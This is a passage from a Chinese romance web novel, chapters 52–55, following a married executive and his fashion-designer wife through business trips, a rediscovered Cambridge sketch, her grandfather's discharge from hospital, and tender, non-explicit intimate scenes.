“还有智能化仓储系统的接口协议,本周内要定稿。” 他的目光扫过负责相关模块的几位负责人,对方立刻点头应下。 席间其他参与方也适时加入讨论或敬酒,蔺之序大多只是礼貌颔首,以茶代酒回应几句“辛苦了”、“合作愉快”之类的场面话。 他姿态从容,久居高位带来的沉稳与掌控感,让人不敢造次,却又不得不心生敬意。 酒过三巡,气氛更显松弛。 坐在蔺之序斜对面,一个家族企业背景的年轻小开,大概是觉得氛围到了,胆子也大了些。 他视线几次瞟过蔺之序左手无名指上那枚铂金婚戒,终于忍不住笑着开口:“蔺总,您这婚戒看着就气度不凡,跟您人一样!嫂子真是好眼光。” “不过您这新婚燕尔的,把嫂子一个人留在京北,她没意见啊哈哈。” 桌上霎时安静了一瞬,众人的目光都微妙地在蔺之序和那个年轻人脸上转。 王总蹙眉,刚想开口圆场。 蔺之序脸上的表情没什么变化,他自然地抬起左手,指腹在戒圈上抚过,“太太事业心也重,比我更忙。” 那年轻人被这平静无波的回应噎了一下,准备好的俏皮话卡在喉咙里,只得讪讪地笑了笑,“啊哈哈,嫂子也是女中豪杰!佩服佩服!” 蔺之序点了下头,算是回应了他的“佩服”,随即转向王总,将话题重新拉回刚才讨论的工程节点上。 众人也识趣地不再多言,继续投入到项目讨论中。 蔺之序一边听着,一边再次拿起放在手边的手机。 屏幕亮起,干净的通知栏里,除了几条工作邮件提醒,空无一物。 他长指在屏幕上无意识地停顿了半秒,随后锁屏,将手机轻轻放回桌面。 动作流畅自然,仿佛只是确认了一下时间。 冗长的应酬终于结束。 蔺之序在众人簇拥下走出包间,拒绝了后续的消遣安排,只让潘岩叫了车来接。 回到下榻酒店,隔绝了外面的湿冷,他扯开领带,解了衬衣顶端的扣子,走进浴室。 房间里只开了一盏落地灯,他一边擦头发,一边拿起放在床头柜上的手机,指纹解锁。 通知栏里,赫然躺着叶瓷的名字。 只一句:【老公,想你。】 蔺之序的呼吸一窒,他盯着那亲昵的四个字,反复看了几遍。 难以言喻的惊喜像温热的潮水,立刻就冲散了应酬带来的疲惫。 他看了眼时间,十点二十,她应该还没睡。 没有犹豫,他点开了视频通话的请求。 很快被接通。 屏幕上是铺着雪白画纸的桌面,一支削尖的绘图铅笔正停在裙装的腰线设计处,旁边散落着几张色卡。 “蔺之序。” 叶瓷的声音传来,接着,镜头晃动一下,对焦在她脸上。 她坐在桌前,身上是柔软的米白色睡衣,长发松松挽起,几缕碎发垂在颊边。 “在画图?”蔺之序问。 “嗯,‘风之语’的收尾,有个细节想再推敲一下。” 叶瓷将手机镜头转向画稿,让他看自己正在修改的腰线褶皱设计,“你看这里,用这种叠褶会不会比单纯的斜裁更有流动感?” 蔺之序认真地看了看,他对设计并不精通,但他了解她的追求,“你感觉对就好,我相信你的判断。” 叶瓷笑,没再追问。接着,她将手机镜头对向窗外:“看,京北下雪了,很大。” 镜头里,雪花像棉絮在路灯的光晕里狂舞,地面和远处的屋顶已被刷成银白。 叶瓷:“沪城呢?下雪了吗?” 蔺之序的眸光从她身后的雪景又落回她脸上,“下了一点,不像雪,像冷雨。” 他顿了顿,“没你那边的好看。” 叶瓷唇角微弯。 蔺之序又问:“外公身体怎么样了?” 叶瓷拿起旁边的水杯抿了一口,“精神好多了,医生说恢复得不错,就是还得静养一阵子,不能着急。” “那就好。”蔺之序放下心来。 这时,他看了眼她身后纷飞的大雪,“叶瓷,” 他唤她,“别站在窗口吹冷风,当心感冒。” 叶瓷闻言,听话地起身,合上了那扇正对着雪景的窗户。 她拿着手机走回卧室,坐在床边,镜头稳定下来,清晰地映着她温润的眉眼。 “好了,关上了。”她笑着对镜头说。 蔺之序看着她,喉结滑了一下,“叶瓷,让我看看你。” 叶瓷被他专注的眸光看得有些不自在,却又忍不住笑起来,脸颊微红:“不是正在看吗?” 说过,叶瓷将镜头放正了些。 两人隔着屏幕静静对视。 房间里只剩彼此清浅的呼吸声通过电波传递。 叶瓷看着他深邃的眼眸,那里面的情绪很浓,她忽然轻声问,“……你也想我了吗?” 蔺之序点了点头,“嗯,很想。” 很想很想。 想得恨不得立刻把她按在怀里狠狠欺负。 对于这个有些疯的念头,蔺之序突觉自己可笑,他承认,自从尝到了甜头,他就有了瘾,那是一种怎么克制都戒不掉的瘾。 空气安静下来。 叶瓷也感觉到了这氛围里的暧昧粘稠,有些口干舌燥,她低头又去喝水,发现杯子已经空了。 “我去厨房倒杯水。” 镜头随之摇晃。 蔺之序安静地跟着她的“视角”,看着她纤细的身影在镜头里移动,看她拿起玻璃杯,听到水流注入杯中的声音,又听到她小口喝水时的吞咽。 每一个细微的声音,每一个晃动的画面,都像一根隐秘羽毛,轻轻刮在他的心尖上。 一股强烈的冲动席卷了蔺之序,他想立刻结束所有行程,回到她身边。 叶瓷放回水杯,看了眼时间,已经快十一点了。“很晚了,你明天还有很多安排吧?早点休息。” 蔺之序:“好,你也别画太晚,早点睡。” 叶瓷:“嗯,晚安。” “晚安。” 通话结束,蔺之序静坐了数秒。 然后,他打开笔记本电脑,继续处理未完的工作。 门外传来敲门声。 “进。” 蔺之序头也没抬。 潘岩推门进来,手中端着一杯冒着热气的黑咖啡,放在他手边的位置。“蔺总,您的咖啡。” “嗯。” 蔺之序应了一声,视线依旧停留在笔记本上。 潘岩站在一旁,拿出自己的平板,开始汇报:“今天的项目考察初步报告已经整理好,发您邮箱了。” “与沪城招商局张局的会面,对方确认明天上午十点。” 蔺之序一边听着,手指一边在键盘上快速滑动,审阅着报告。 潘岩继续道:“明天下午三点,与沪城分公司的管理层开季度会议。” “晚上七点,约了万晟的李总在‘云顶’用餐——” 蔺之序手指停下。 他抬起头,“和李总的晚餐照旧,沪城分公司的季度会议,提前到明天早上七点半。” 潘岩愣了一下,脸上闪过明显的错愕,“七点半开会?” 这意味着蔺总最迟六点多就要起床准备,而且开完会紧接着就是与招商局的会面,下午还要处理考察后续和会议内容,晚上应酬……这强度太大了。 潘岩下意识地确认:“蔺总,七点半?那您——” 蔺之序的眼神平静无波,“就这样定了。” 潘岩立刻收起犹豫,“我马上通知分公司调整会议时间。” 他飞快地在平板上记录,“那……明晚与李总用餐结束后,您回酒店休息?” 蔺之序的目光重新落回笔记本上,“订最快回京北的航班。” 第53章 第53章 她忽然吻了上去 霓坊工作室。 叶瓷正俯身在工作台前, 手里捏着一块银灰色羊绒面料,对着灯光比对色卡上的色阶差别。 门被轻轻敲响,助理小于探头:“总监, 叶先生来了。” 叶瓷抬头, 看到叶北庭站在门口, 一身深灰大衣,手里提着一个保温食盒。 “哥。”叶瓷放下手中的料子。 叶北庭将保温食盒放在她工作台一角, 自然地解开大衣扣子,“刚从医院过来, 外公精神头好多了,嚷嚷着要出院回海城,说消毒水味儿闻得他头疼, 一刻也不想待了。” 叶瓷微微蹙眉:“我正打算下午忙完去看看他。” “别跑了。”叶北庭打开食盒, 一层层取出里面的东西。 保温性能极好, 热气瞬间氤氲。 “路况不好,好些背阴路面结冰还没化透。老人家归心似箭, 我明天就去给他办出院手续。” 说着话,他已经将食物摆放好,叶瓷在他旁边坐下, 汤盅里是奶白浓稠的花胶炖鸡汤,竹编蒸笼里有几块虾饺, 还有一碟清炒时蔬和一小碗椰汁紫米露。 叶瓷动筷, 夹了一个虾饺,“谢谢哥哥。” 叶北庭拿起筷子也夹了个:“跟我还客气,快吃,趁热。” 他看着妹妹低头吃饭的侧影,随口问道, “蔺之序呢?还在沪城?” “嗯。”叶瓷应了一声,汤的暖意从喉咙滑到胃里,“出差。” 叶北庭点点头,语气带着了然:“那个沪港新区的核心项目,他亲自盯着也正常。” “还有你,要注意休息,工作再重要,身体是本钱。” 叶瓷嗯了下,笑道,“我知道。” 兄妹俩安静地吃着饭,偶尔交谈几句工作上的琐事。 临了,叶瓷忽然想起来,“哥哥,你认不认识魏心许?就是最近很红的一个女演员。” 叶北庭正拿着手机回消息,闻言手指顿在了屏幕上方。 他没立刻抬头,过了两秒才“嗯”了一声,“好像……有点印象,怎么突然问起她?” “没什么,随便问问。” 叶瓷语气轻松,“她来过我工作室几次,感觉人很不错,长得漂亮,演技也好。” 叶北庭将手机锁屏,轻描淡写,“是,演技不错。” 叶瓷看他这反应,一时也摸不准他到底认不认识魏心许。 她不是那种热衷打探隐私的人,何况,那是她哥哥。 不管事实如何,他不想说,或有意隐瞒,也总有他的理由。 叶瓷尊重他的界限。 叶北庭起身收拾餐具时,小于敲门进来,“总监,这是周会的材料。” 叶瓷接过,“好。” 下午三点,周会。 李栋向叶瓷汇报了前往黔东南的计划。 “我们通过非遗保护中心的推荐,已经初步锁定了黔东南的几个村寨。那里的苗族分支保留了一种非常古老的破线绣技艺,正是我们下一季新品所需要的。” “我们初步拟定的计划是实地考察和签订合作协议。” 叶瓷看向对方,“思路很好,具体实施方案尽快发给我。” 李栋:“好的叶总。” 营销总监任薇:“我们策划了一个‘寻茧之旅’的传播项目,暂定派一支纪录片团队随行,全程跟拍我们深入村寨学习技艺的过程。” “社交媒体端也会进行日更预热,回来后我们会剪出一部纪录短片,在下一季新品发布会前重磅发布。” 叶瓷点点头,“创意不错。” 任薇:“详细方案已经发您邮箱了。” 叶瓷:“好。” 周会结束,叶瓷回办公室又处理了几个邮件,从霓坊出来时,天已近擦黑了。 她没有直接回家,而是跟司机报了医院的地址。 病房里很安静。 温书言已经睡了,叶瓷轻手轻脚地在床边的椅子上坐下,看外公的气色更好了,心也渐渐平复。 本想和外公说会儿话,但看他睡得正香,于是起身,替老人掖了掖被角,就出了病房。 车子驶出医院,细密的雪籽开始砸落,很快变成纷纷扬扬的雪花。 路面湿滑,一个多小时后,叶瓷才回到家。 弯腰换鞋时,目光习惯性地扫向旁边的位置,明知道他今天不会回来,可真的看到那里空荡荡的,心头难免还是有些失落。 保姆迎上来接过她的大衣:“太太回来了,路上堵好久了吧?晚饭简单做了点,您是现在吃还是?” “现在吃吧。”叶瓷压下那点情绪。 晚餐是简单的清粥小菜和几样精致点心。 叶瓷安静吃完,便回了卧室。 洗去一身倦意,换上舒适的居家服,她坐在书桌前,摊开画稿,抬头间,她看到窗外的雪下得更大了。 望了会儿,她起身,走进了隔壁的书房。 这是蔺之序的空间,书架上多是厚重的经济金融,科技类书籍。 她走到属于自己的那面书架,上面整齐地码放着她从工作室搬来的专业书籍和图稿集。 她随意抽出一本大部头《世界服装史图鉴》,倚着柜面翻看起来。 纸张特有的气味混合着书房里淡淡的檀木香,让她的心绪稍稍平了平。 翻着翻着,一张夹在书页间的速写纸滑落下来。 叶瓷弯腰拾起,纸页边缘已经起毛泛黄。 炭笔的线条有些晕染,画面还算清晰:一个穿着深色高领毛衣的亚裔男子,侧身坐在哥特式落地窗边。 他微垂眸,专注地看着手里的硬皮书。 窗外,剑桥深冬午后的阳光,被古老的彩色玻璃窗过滤成几道金红色的光束,恰好有一束斜落在他身上。 叶瓷的手指拂过纸面,心脏像是被什么东西温柔地攥了一下。 那是在中央圣马丁的第二个冬天,她为了找灵感,就心血来潮坐上了开往剑桥大学的火车。 她在图书馆里,目光扫过穹顶下静默阅读的人群。 偌大的空间里只有书页翻动和远处低沉的钟鸣。 然后,叶瓷就看到了他。 他坐在靠窗的一张深色橡木长桌前,姿态放松却又内敛。 他微垂着头,露出线条干净利落的下颌线,鼻梁很高很挺,在光影中投下侧影轮廓。 叶瓷留意到他翻动书页的手指动作,沉静从容。 叶瓷画过许多人体素描,不过,眼前的这个人实在是太完美了。 几乎是本能反应,她迅速在随身携带的速写本上抽出纸,炭笔捕捉这个剪影,画完最后一笔,她习惯性地在角落写下日期和地点:“Cambridge, 12 Dec 2017” 除此之外,她还留意到他手边的水杯,杯子上有皮革挂绳和品牌Monogram印花,另外还多加了一个挂坠。 叶瓷当时心里的第一个念头是,这个可爱的杯子大概是他女朋友送的。 鬼使神差地,她拿着炭笔将这个杯子也画了上去。 当叶瓷心满意足地再次抬起头,想再看一眼那幅“活的画作”时,那个靠窗的位置,已经空了。 有些遗憾,她在人群里又寻了几圈,没有再看到对方。 那天,出图书馆时,她小心地收起了这张速写。 这么多年过去,这张承载着瞬间悸动又带点遗憾的速写,早已被她忘记。 此刻,在蔺之序的书房里,她看着纸张上被阳光眷顾的侧影,高挺的鼻梁线条,微抿的唇形,还有翻书时手指的弧度,……每一个细节,都与蔺之序分毫不差地重合在一起。 叶瓷拿着这张薄薄的纸,心里涌进一种难以言喻的宿命感。 原来,在彼此还素不相识的时空里,两人已经相遇过。 —— 飞机在午夜时分降落在京北机场。 蔺之序走出航站楼,冷风裹着细雪袭来。 黑色迈巴赫早已停在出口,司机正站在车旁,见他出来,立刻上前接过行李箱:“蔺总,路上有积雪,会开得慢些。” 蔺之序微微颔首,然后坐进后座。 车门关上,他松了松领带,手指在膝头轻叩下:“直接回家。” 司机:“好的蔺总。” 两个小时后,车终于进到地下车库。 蔺之序拿起行李箱,刷卡,电梯无声攀至顶层。 推门进来,他脱下沾着寒气的大衣,偏眼扫过旁边的鞋柜,叶瓷的羊皮短靴正安静地摆放在角落。 卧室里留着一盏睡眠灯,叶瓷侧身陷在羽绒被里,长发散在枕上,呼吸均匀。 蔺之序看着她,数秒,他转身准备去洗漱,视线却被床头柜上的东西吸引,一本摊开的书,书页里放着一张泛黄的素描纸。 他拿在手里,借着微弱的睡眠灯光,纸上是炭笔线条勾勒出的一个模糊侧影,剑桥图书馆的落地窗,阳光斜照的橡木长桌,低头看书的年轻男人。 蔺之序的手滞了下。 纸面微微发脆,右下角钢笔标注的日期已经晕开些许:“Cambridge, 12 Dec 2017”。 这个时间节点正是他毕业前最忙碌的冬季,每天抱着各种文献在图书馆熬到闭馆。 画中人身穿的深灰色高领毛衣,此刻还放在蔺家老宅的衣帽间里。 书桌边缘露出的马克杯,杯身Monogram印花被简化成几何线条,但杯柄处独特的波浪形凹槽设计,那是念一在学习陶艺时亲手捏制的生日礼物,全世界独此一件。 原来,多年前的那个冬季,在他心无旁骛时,有一道目光曾短暂停留,将他定格在素描里。 而那个人竟然是叶瓷。 蔺之序放下素描纸,俯身,吻落在叶瓷额间。 窗外雪落无声。 他凝视着床上熟睡的身影,这时她翻了个身,睡裙肩带滑下瓷白肩头。 蔺之序就这样静静地看着她,良久,他转身去了浴室。 再出来时,人已经换了深色丝质睡衣。 他掀开被子躺进去,刚调整好姿势,身旁熟睡的人便自然地翻过身,下一秒,温软的身体就偎了过来,脸颊贴在他胸口,手臂也习惯性地环住了他的腰。 蔺之序的身体绷紧一瞬,随即放松下来,手臂自然而然地收紧。 她的体温还有发间淡淡的橙花香瞬间填补了分离时空缺的角落。 不知过了多久,怀里的人动了动,声音带着浓浓的睡意,“蔺之序,你……回来了?” “嗯。” 蔺之序低应,下巴蹭蹭她的发顶,“吵醒你了?” “没有……”她含糊地说,在他怀里找了个更舒服的姿势。 抱了会儿,她仰起脸,在朦胧的光线下看着他近在咫尺的下颌线,然后,她忽然吻了上去。 蔺之序的喉结在她唇下动了动。 窗外,雪落得更密了,簌簌的声响被双层玻璃过滤成模糊的白噪音。 室内,床头那杯没喝完的水微微晃动,水面倒映着天花板上摇曳的光影。 雪渐渐停了,玻璃上凝结的冰花在暖气中悄然融化,蜿蜒出一道透明的水痕。 …… 结束后,叶瓷蜷在他怀里,余波还未完全消退,嗓音带着微哑,“我今天在书房看书,发现了一张素描纸。” 蔺之序嗯一声,“我刚才看到了。” 叶瓷哦了下,从书房回来时,她把素描纸也拿了过来,睡前还反复看了许久。 “你认出画的是谁了吗?” 蔺之序笑,“认出来了,是我。” 这时,叶瓷舒展了下脊背,蔺之序也跟着欠欠身体。 叶瓷擦着他的下颌,人也陷入了回忆里,“你当时为什么要起身离开呢?” 问过,她自己先笑了,时隔那么久,他怎么还会记得呢。 蔺之序说实话:“记不清了。” 叶瓷点点头,她想起自己当时抬头,发现那个位置已经空了的时候,她是有些遗憾的。 依照她的性子,如果他一直在那里坐着,她大概会去主动打个招呼,不过,或许也不会,因为桌子上的那个水杯。 叶瓷忽然想起杯子上的挂坠,鼓鼓勇气,她问,“你当时是不是有女朋友?你离开是因为要去找她?” 蔺之序垂眸看怀里的人,“为什么要这样推测?” 叶瓷手抬起,攀住他的肩膀,“因为那个水杯,一看就不是你用的。” 蔺之序笑,跟她解释,“水杯是念一送给我的生日礼物。” 叶瓷:“念一送的?” 蔺之序:“嗯,其实我是不太想用的,太像女孩子的了,可是念一不依,她那时刚学了陶艺,兴致很高,说生日礼物,哥哥必须要用,没办法,那个杯子,我用了一年,直到下一个生日,她又送了一组陶器。” 叶瓷轻笑出声,指尖无意识地描摹着他的腹肌纹路:“如果我当时直接上去和你打招呼,我们会有后续吗?” 蔺之序沉思片刻,“不知道。” 那时的他即将回国接手盛域集团,行程表精确到分钟,连睡眠都是效率的牺牲品。 即便遇见她,他心里的天平也只会倒向事业那一侧,就像她当时抱着素描本穿梭在图书馆,心里装的只有设计。 “我大概也不会。”叶瓷仿佛读懂他的思绪,声音带着笑意,“那时候我的眼里,布料经纬比男人轮廓更有吸引力。” 说完,两人都笑起来。 叶瓷起身喝了几口水,重新躺回去时,蔺之序将手臂伸出,叶瓷枕上去,“那天在婚礼上,你说的话,是真的吗?” 蔺之序明白她指的是什么。 婚礼上,司恒作为主持人,问他的那个问题,“蔺先生,你是在哪一个瞬间,确切地知道自己爱上了叶瓷小姐?” 他记得自己当时的回答,“具体哪一天爱上,我无法精确指出。但当我意识到这份感情存在的时候,它已经像呼吸一样自然,无法割舍了。” 那不是场面话,是他彼时彼刻最真实的感受。 “是真的。”蔺之序低声回答。 接着,他垂眸,“每一句都是真的。” 叶瓷安静了几秒,然后,她撑起身子,凑近他,“那……你想听我的答案吗?” 问过,叶瓷明显感觉自己发间的呼吸一滞,数秒,他的声音有些发紧,“想。” 叶瓷清晰地捕捉到了他的变化,她没有立刻回答,而是仰起头,吻轻轻印在他因为紧张而微微滚动的喉结上。 像一片雪花落在滚烫的皮肤上,融化后,留下灼人的印记。 蔺之序的身体猛地一僵。 叶瓷退开一点,额头抵着他的下巴,声音轻得像梦呓,“我也是啊,蔺之序。” “当我意识到自己爱上你的时候,那份感情,也早就存在了。我也说不清,它究竟是从哪一天开始的。” 汹涌的喜悦瞬间冲垮了蔺之序心中那点微不足道的紧张和患得患失。 他收紧手臂,带着劫后余生般的满足,几乎将她整个人嵌入自己怀里,力道大得让她轻轻哼了一声。 第54章 第54章 抱回卧室 翌日, 是温书言出院的日子。 上午九点,叶瓷和蔺之序到了医院。 病房里淡淡的消毒水味,已经被一种轻松的氛围取代。 温书言穿着深色夹棉马甲, 正坐在床边慢悠悠地喝着水。 行李已经打包放进了箱子里。 叶瓷坐到他旁边, “外公, 早上吃的什么?” 温书言想了想,掰着手指, “白粥熬得不错,配了酱瓜和腐乳。还给了个水煮蛋, 蛋黄刚好凝固, 正合我胃口。” 说着,他拍了拍自己的胃部, “我这把老骨头, 吃这些最舒服。” 叶瓷:“检查结果都还好吗?” 温书言笑, “都很好,血压血糖也标准, 就是老寒腿遇到变天会酸。不过别担心,海城暖和,回去泡泡脚就好。” 叶瓷:“那您回去记得按时吃药, 我得空就去看您。” 温书言又笑,“好, 我等着你们。” 刚好叶北庭推门进来, 手里拿着出院证明。 “都办妥了?”叶瓷问他。 “嗯,都好了。”叶北庭点头,看向温书言,“外公,车子在楼下, 随时可以出发。” 温书言放下水杯,“好,好,辛苦你们跑一趟,我总算能回海城舒坦几天了。” 蔺之序帮忙提起行李箱,“外公回去好好休养,海城气候湿润些,更适合您。” 温书言笑着点头:“是比京北舒服。”他拍了拍蔺之序的手臂,“下次去海城时,咱们爷俩再好好切磋一下书法。” 蔺之序笑,“好的外公。” 叶北庭插话:“外公,你怎么不和我切磋切磋书法呢?” 温书言闻言,脚步一顿,转脸看他,“和你?——你水平不够。” 一行人笑起来。 温书言接着笑道,“之序的水平比你高,悟性也更好,等你再练几年,我们再切磋。” 电梯门开了,叶北庭伸手帮他系上羊绒围巾,嘴里笑了句,“外公,你就是偏心。” 温书言哦一声,然后秉着公平的态度,“之序就是更优秀一些嘛,不过,如果你继续好好练书法,再找个可心的女朋友,成了家,那你就和之序一样优秀了!” 叶北庭没料到话题是这个走向,轻咳了声,旁边的叶瓷笑着扯扯他的衣摆,“哥,你怎么不说话了?” 叶北庭看她,无奈失笑,“小瓷你就不要添乱了。” 温书言立刻转脸,“什么叫添乱?你都多大年纪了?奔三了吧?也到该成家的年纪了。” “外公……”叶北庭叹了口气。 温书言看他一眼,想继续絮叨,终于不忍,于是一摆手,“算了,送我回去吧,京北的天太冷了。” 住院部门口,司机已经在车旁等着了。 叶北庭扶着温书言坐进后座,海城距离京北两个小时车程,叶北庭送他回去。 叶瓷站在原地,直到车子拐弯,才轻轻吸了口气,压下眼底湿意。 蔺之序揽住她的肩,轻轻拍了拍。 “送你去工作室?”他低声问。 叶瓷点头,“嗯。” 蔺之序:“下班我去接你。” 叶瓷:“好。 …… 车子驶上高速,叶北庭将空调温度调高两度,又倒了杯参茶递给温书言。 “外公您睡会儿?到海城还要好久呢。” 温书言接过茶杯,“人老了,觉少。”他抿了口茶,突然问:“宋家最近是不是在接触你们城东的项目?” 叶北庭:“上周递了合作意向书,条件很优厚。” “优厚?” 温书言冷笑一声,茶杯重重搁在扶手上,“当年他们资金链断裂,我抵押三处房产救急。后来市场回暖,转头就抢走我们最大的客户。” “这话糙理不糙,狼崽子舔过的糖,里头都藏着刀片呢。” 叶北庭会意,“外公,我记住了。” “这才对。”温书言神色稍霁,话锋又转,“北庭,你老实告诉外公,你不找女朋友,不结婚,是不是因为你爸妈的缘故?” 车内的气氛微妙的凝固了一下。 叶北庭开口,“外公你知道吗,我在寄宿学校收到的最新一期财经杂志,封面就是他和新欢的婚纱照。” “那种感觉,我当时不懂,只是觉得难受,后来我慢慢明白了,那叫背叛。” “我知道我不该较真,他和妈都已经离婚了,重建家庭很正常,可我就是没办法说服我自己,我觉得爸爸背叛了我,背叛了小瓷。” 温书言沉默下来,良久,“都是我的错,我当时就不该应下和叶家的婚事,我想得太简单了,觉得夫妻性格不同,可以相互磨合。” 说着,他摇摇头,“咳。” 叶北庭笑了下,“外公,都过去了,我们都不要再提这些陈年旧事了。” 温书言长长地叹了口气,转头望向窗外,“不过明年我八十大寿,你要敢带个男伴回来——” 叶北庭被茶叶呛得猛咳起来,“外公!” 车厢里响起老人得逞的大笑。 —— 霓坊工作室楼下,叶瓷下车,站在人行道旁,对着蔺之序摆了摆手。 蔺之序看着她清丽身影融入冬日清冷的空气里,才重新升起车窗,吩咐司机离开。 晨会上,叶瓷落座后,会议开始。 李栋:“‘寻茧之旅’初步计划行程为五至七天,核心团队建议控制在六人以内,加上摄制组四人。” “交通方面,京北直飞黔南,落地机场后,预约两辆七座商务车,自驾至雷县后,当地合作方会接应我们进入最终目的地。” 叶瓷点点头,“预算方案要有诚意,准备好技术顾问协议。” 李栋:“明白。” 叶瓷转向任薇,“和摄制组沟通好,拍摄重心是工艺本身和传承人,所有素材我需要过目。” 任薇:“好的叶总。” 叶瓷合上面前的笔记本电脑,“好,那就这么定了,李栋负责合作协议,薇薇你对接摄制组,我们周三准时出发。” 晚上回到家,叶瓷先看了看黔东南那边的天气情况,然后着手收拾行李。 十分钟后,她将最后一件功能性外套放入行李箱,然后扣上箱盖。 伸手合衣柜门,她的眸光不经意掠过旁边属于蔺之序的那一侧,整排西装熨帖有型地悬挂着。 叶瓷不自觉停驻,伸手划过那些西装肩线,她想起了他的身体线条,以及衣料下,真实灼热的体温。 这种细微的牵绊感让叶瓷有些晃神。 以往出差,她拎起行李箱就走,心无旁骛,可现在,蔺之序已经融入她的生活,成为了她柔软的肋。 正出神,玄关处传来响动。 很快,熟悉的脚步靠近。 “要出差?” 蔺之序走近,很自然地从身后拥住她,下巴轻轻抵在她的发顶。 叶瓷点点头,人又向后靠了靠,更紧地依进他怀里,“去黔东南,大概要一周时间。” 蔺之序圈住她腰身的手臂略一滞,随后又缓缓收紧。 叶瓷告诉他出差的内容和安排,蔺之序点点头,“那边山路多,自己一定要注意安全。每天记得给我发消息。” 叶瓷笑,“嗯,知道。” 两人抱了会儿,蔺之序看时间,然后亲了亲她的额头,“你先休息,我回书房处理点事情。” 叶瓷:“好。” 书房门轻轻合上。 蔺之序走到书桌前,他没有立刻处理邮件,而是拨通了潘岩的电话。 “把下周的工作日程发给我。” 潘岩:“好的蔺总。” 通话没有中断,蔺之序打开看了会儿,“重新排布周四以后的所有行程。非紧要会议全部延后或改为线上,必须当面处理的事项压缩在明日上午,空出三天时间。” 潘岩犹豫片刻,“好的蔺总。” 蔺之序又说,“另外,安排一下,申请一条从黔东南到雷县的临时航线。” 潘岩:“好。” 晚上十点多,叶瓷关了正在播放的纪录片。 卧室安静,她躺了会儿,没什么睡意,于是又掀被下床。 书房门仍合着,叶瓷轻轻推开,看见蔺之序正面对着笔记本,键盘在他指下发出声响。 听到动静,他敲下回车键,抬起头,“还没睡?” 叶瓷笑,“睡不着,来看看你。” 蔺之序也笑,他没说话,只是朝她伸出手,做了个“过来”的手势。 书房里除了他那张宽大的办公椅,旁边书架前还放着一把会客的单人椅。 叶瓷自然地朝着那把椅子走去。 在她即将碰到椅背的那刻,手腕已被蔺之序握住。 叶瓷还没反应过来,就被他用力一带,整个人顺着他引导的力道跌坐在了他腿上。 下一秒,蔺之序的手臂已经环过她纤细腰身,形成了一个亲密无间的禁锢姿态。 书房光线明亮,叶瓷顿觉羞赧无处可藏。 她一边感受着身下他坚实的腿部线条,一边不得不微微低头,视线相触,蔺之序在她唇上印了下。 离开时,他笑道,“等我几分钟,马上就好。” 叶瓷点点头,脸颊开始发热。 她侧身坐在他腿上,背脊抵着宽大的书桌边缘。 蔺之序的一只手仍停留在键盘上,另一只手则稳稳环在她腰间,掌心隔着丝质睡裙熨着她侧腰的曲线。 屏幕上,数据报表泛着冷光,映在他专注的眼底。 他下颌轻抵着她肩头,呼吸间带起她耳畔几缕碎发的细微颤动。 音频接通,蔺之序言语冷静专业,逻辑清晰。 但那只落在叶瓷腰间的手,拇指却若有似无地摩挲,画着无关紧要的圆圈。 叶瓷感受着丝丝缕缕温热渗入肌肤,本能地,她动了动。 几乎是同时,蔺之序便收紧了手臂,将她更牢地固定在自己怀里。动作自然得像是不经意的调整,下巴仍抵着她,对着麦克风流利地说出一串分析数据。 叶瓷安静地倚靠在蔺之序怀里,直到他保存文件,关闭系统。 屏幕暗下去时,书房陷入更深的静谧。 蔺之序仰头看她,从她颤动的睫毛,滑到水色的唇瓣,他的眼神已然暗沉。 “在这里,……可以吗?” 叶瓷的心颤了一下,她没有避开,反而向他倾了半分。 这是默许的动作。 …… 事后,叶瓷被他抱进浴室。 她已经累到极致,整个人软趴趴地靠在他胸口。 蔺之序挤了沐浴乳,掌心搓出细腻泡沫,指腹擦过被他宠爱,留下红痕的皮肤时,叶瓷便不受控地轻颤一下。 他停顿片刻,手上动作放缓。 水流潺潺,热气模糊镜面。 蔺之序用浴巾裹住她,抱回卧室,“还好吗?” 数秒过去,叶瓷嗯一声。 蔺之序下颌蹭蹭她的发顶,低沉嗓音带着极满足的喟叹,“睡吧。” 第55章 第55章 稳稳接住她 玄关处, 叶瓷最后检查了一遍随身行李。 蔺之序过来,两人抱了抱,“我忙完手边的工作就过去找你。” 叶瓷一怔, “那, 你的工作呢?” 她知道他的行程排得有多满, 大概是猜到她心中的疑虑,蔺之序抚抚她的发顶, 笑道,“行程已经调整过了。” 他不是在商量, 而是在陈述事实。 叶瓷点了点头, 脸颊重新贴回他胸口。 “蔺总婚后有什么改变?大概是我学会了工作走神。” 叶瓷突然想起两人结婚那天,被问时, 他说的话。 如今, 他让自己的工作为她让路。 叶瓷一向独立, 不习惯依赖任何人,可她渐渐发现, 独立与被人放在心上,并不矛盾。 …… 飞机穿透云层,降落在黔东南的机场。 一出舱门, 属于山野的自然气息迎面扑来。 接机的商务车已经在等着了,两个小时后, 车辆转入县道, 道路开始变得蜿蜒,最后彻底融入莽莽苍山。 傍晚,车子最终停在一个依山傍水的寨子口。 他们下榻的酒店是当地一家颇具特色的吊脚楼群改建而成,既有传统风貌,又配备了现代化的舒适设施。 接下来的两天里, 大家的行程紧凑得如同打仗。 叶瓷带着团队走访了数个保留传统刺绣技艺的村寨。 在家庭式的刺绣作坊里,叶瓷和绣娘们交流绣法,虽然语言不怎么相通,但有当地向导的翻译,大家沟通起来也没有太多障碍。 工作强度很大,白天走访,晚上回到临时设在酒店房间里的工作室,她和团队研究绣法,讨论设计灵感,一连两天都是忙到深夜。 第三天晚上,忙碌暂告一段落。 叶瓷回到自己单独的房间,这是一间位于吊脚楼顶层的景观房。 木结构的房屋带着松木香气,推开窗户,外面是沉沉夜色和远山轮廓。 洗漱过,她坐在桌前,观看摄制组这两天拍摄的素材视频。 山里的夜格外宁静,偶有几声虫鸣和风吹过树林的沙沙声。 正看着视频,她搁在矮几上的手机响了,是蔺之序。 她划过接听,“喂?” 蔺之序低沉声音传来,“叶瓷,我到了。” 到了? 叶瓷一时没反应过来:“到哪儿?” 蔺之序笑了下:“你酒店门口。” 叶瓷一愣,她以为他最快也要明天才能到,想到这里,她立刻起身,推开木窗。 微寒山风涌入,寨子里星星点点的灯火与天幕繁星几乎连成一片。 视线逡巡,在一盏略显昏黄的传统灯笼下,一道颀长挺拔的身影正伫立在那里。 是蔺之序。 他穿着深色风衣,肩宽腿长,气质衿贵沉静,与周围古朴甚至略显粗犷的山野形成了奇特的张力。 此时,他正微抬着头,似乎也在寻找她房间的窗口。 叶瓷的心跳蓦地漏了一拍,她对着电话说了声“等我”,便抓起一件外套披上,脚上的鞋也没来得及换,穿着室内的软底拖鞋就快步下了楼。 木制楼梯发出急促的吱呀声。 穿过酒店大堂,推开木门,她一眼就看到了灯下的身影。 